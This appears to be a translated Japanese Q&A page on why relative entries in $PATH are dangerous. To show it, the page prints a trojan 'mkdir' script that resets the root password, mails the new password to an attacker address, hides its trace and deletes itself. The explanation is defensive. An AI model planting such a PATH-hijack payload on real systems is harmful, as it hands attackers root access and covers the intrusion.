GNU/Linux >> Linux の 問題 >  >> Linux

PATH環境変数で相対パスを使用することのセキュリティへの影響は?

使用しているパスには 2 つの問題があります。

<オール>
  • パスは相対です。
  • 相対パスがに来る
  • root として使用して Web アプリケーションを更新する次のシェル スクリプトがあり、 $PATH を設定しているとします。 /etc/profile で使用されています

    #!/bin/bash
    pushd /dev/shm
    git clone http://some/git/path/web_app
    cp -a web_app /var/www/html
    rm -fr web_app
    popd
    

    攻撃者に対して、攻撃者が制御するシェルで何かを実行する手段を提供しています。攻撃の形式は次のようになります - mkdir の制御を覆そうとしています 脆弱なスクリプトを呼び出します。

    attacker$ cd /dev/shm
    attacker$ mkdir -p apps/java/bin
    attacker$ vi apps/java/bin/mkdir
    #!/bin/bash
    echo "some_random_password" | passwd --stdin root
    echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
    /bin/mkdir [email protected]
    rm -fr /dev/shm/apps
    attacker$ chmod +x apps/java/bin/mkdir
    

    それでは、あなたがウェブアプリを更新するのを待っています。

    何が起こるかというと、脆弱なスクリプトが /dev/shm に切り替わります .これを実行して mkdir を実行すると apps/java/bin/mkdir を見つけます この場合、root パスワードをリセットし、攻撃者に新しい root パスワードを電子メールで送信し、実際に本物の mkdir を呼び出します。 (何かが実際に起こったという事実を隠すため)、攻撃パスから自分自身を取り除きます。

    ルートとして、いいえ ペイロードが配信されると、何が起こったのかがわかり、証拠は消去されます。


    $PATH に相対パスを指定することの問題は、攻撃者がファイル システムで特定の名前のファイルを作成できる場合、そのファイルを実行するリスクがあることです。

    例:df またはモニタリングで /var がいっぱい、du と表示される /var/spool/ftp/uploads だそうです 、あなたは何をしますか?

    cd /var/spool/ftp/uploads
    ls -ltr
    

    そしてあなたは所有されています。 ls さえ表示されません

    ftp アップロードを、クライアント Web サイトのデータ ディレクトリ、共有マシンの /tmp ディレクトリ、またはその他の多くのものに置き換えます。

    確かに頻繁に発生するわけではありませんが、リスクが存在し、 ./script を書く script の代わりに 簡単です。


    Linux
    1. 絶対/正規/相対パス?

    2. Linux で PATH 変数を変更する方法

    3. Linux の絶対パスと相対パスの違い

    1. .pro ファイルで使用できる Qt インストール パス変数はありますか?

    2. systemd サービスの ExecStart のコマンド パスで変数を使用する

    3. systemv init と比較して、systemd のセキュリティへの影響は何ですか?

    1. Bash / posixシェルで変数を引用するのを忘れることのセキュリティへの影響?

    2. パス変数がBashで設定されている場所の完全なビュー?

    3. ユーザーグループルートの機能??